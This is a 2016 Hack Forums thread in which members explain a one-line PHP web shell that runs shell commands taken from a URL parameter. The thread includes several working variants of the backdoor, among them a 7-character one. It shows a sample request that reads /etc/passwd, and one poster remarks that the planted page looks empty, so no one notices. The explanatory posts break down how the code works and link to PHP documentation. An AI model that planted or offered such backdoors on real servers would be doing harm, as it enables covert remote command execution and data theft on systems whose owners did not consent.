

Forum:[Hack Forums](#)

Thread: [<?={\\$_GET\['x'\]}`; - how does this work](#)

Skidy - January 8, 2016, 4:49 pm

I've seen this a few times before. Code `<?={$_GET['x']}``; how can you use this shell and what commands can I use from it? Please can someone explain it in further detail. To me its just getting the information from x. Like: `X?=somecode`. But what could u do?

HaxOr? - January 8, 2016, 5:01 pm

You can do pretty much anything. Execute any command you want from it.

That equals this

Code `<? system($_GET['x']); ?>`

LevelUp - January 8, 2016, 5:30 pm

(Jan 8, 2016 06:01 PM)HaxOr? Wrote: [\[CITE\]](#) You can do pretty much anything. Execute any command you want from it.

That equals this

Code `<? system($_GET['x']); ?>`

Incorrect, it is equaled to `shell_exec()`.

Mr.0_0 - January 8, 2016, 8:07 pm

(Jan 8, 2016 05:49 PM)benny_boy Wrote: [\[CITE\]](#) I've seen this a few times before. Code `<?={$_GET['x']}``; how can you use this shell and what commands can I use from it? Please can someone explain it in further detail. To me its just getting the information from x. Like: `X?=somecode`. But what could u do?

No,

PHP Code

`<?php`

`somepage.php?x="ls -la"`

Thats how you want to use it.

I33twebhacker - January 8, 2016, 9:59 pm

i call it is backdoor . it you insert this code into a.php. you can access remote command execution (RCE) Code `domain.com/a.php?x=cat /etc/passwd`

if you check `domain.com/a.php` it show empty. :D no one know. ?

7 character shot backdoor. Code `<?=`*``;PHP Code

`<?php`

<http://wget.pw/posts/32c3-ctf-tinyhosting-web-250>

Viktory - January 9, 2016, 1:15 am

Ok let's break it down for you a bit to see how the code ACTUALLY works.

Code `<?=php` short (echo) tag, echoes the command's output. Also closing tag not necessary as it is a one liner.

<https://secure.php.net/manual/en/ini.core.php#ini.short-open-tag>

Code `` ... `` backticks are an execution operator in php, passes input to `shell_exec()`
<https://secure.php.net/manual/en/language.operators.execution.php>

Code `{ ... }` concatenation brackets, as `$_GET` is an array

<https://stackoverflow.com/questions/4676417/should-i-use-curly-brackets-or-concatenate-variables-within-strings>

Code `$_GET['x']` a get variable
<https://secure.php.net/manual/en/reserved.variables.get.php>

Vellichor - January 9, 2016, 3:12 am

<https://hackforums.net/showthread.php?tid=5116488&pid=49210316#pid49210316>

Could've just asked, you know, the guy who wrote it.

(Jan 9, 2016 02:15 AM)Viktory Wrote: [\[CITE\]](#) php short (echo) tag, echoes the command's output. Also closing tag not necessary as it is a one liner. Incorrect, the closing tag is no longer necessary for the past 10 years, period. Furthermore, Zend considers closing your PHP script as a bad practice

I33twebhacker - January 9, 2016, 4:17 am

(Jan 9, 2016 04:12 AM)Vellichor Wrote: [\[CITE\]](#)
<https://hackforums.net/showthread.php?tid=5116488&pid=49210316#pid49210316>

Could've just asked, you know, the guy who wrote it.

Incorrect, the closing tag is no longer necessary for the past 10 years, period. Furthermore, Zend considers closing your PHP script as a bad practice.

i think it depend on the server. some server not working without `<?php`.

`<?php echo $var; ?> == <?= $var; ?>`

Vellichor - January 9, 2016, 4:33 am

(Jan 9, 2016 05:17 AM)I33twebhacker Wrote: [\[CITE\]](#) i think it depend on the server. some server not working without `<?php`.

`<?php echo $var; ?> == <?= $var; ?>` Nobody talked about short echo tags / short open tags. I talked about closing the PHP tags.

Yes they're server-depended. lookup 'short_open_tag' on php.ini if you care.

HaxOr? - January 9, 2016, 5:16 am

(Jan 8, 2016 06:30 PM)LevelUp Wrote: [\[CITE\]](#) Incorrect, it is equal to `shell_exec()`. Sorry senpai i wont dissapoint you again. ?

Viktory - January 9, 2016, 6:16 am

(Jan 9, 2016 04:12 AM)Vellichor Wrote: [\[CITE\]](#) Incorrect, the closing tag is no longer necessary for the past 10 years, period. Furthermore, Zend considers closing your PHP script as a bad practice. You're right, short tag has had some controversy regarding its use too but I've never had a problem with either (guess because all my projects are limited to localhost lol)

Come to think about it, iirc you're the one who explained how this works to me a long time ago!

Vicellus Drum - January 9, 2016, 6:22 am

<http://www.golemtechnologies.com/articles/shell-injection>

Hacker Team - *January 9, 2016, 1:23 pm*

Hello,

as many people said you it depends about the server.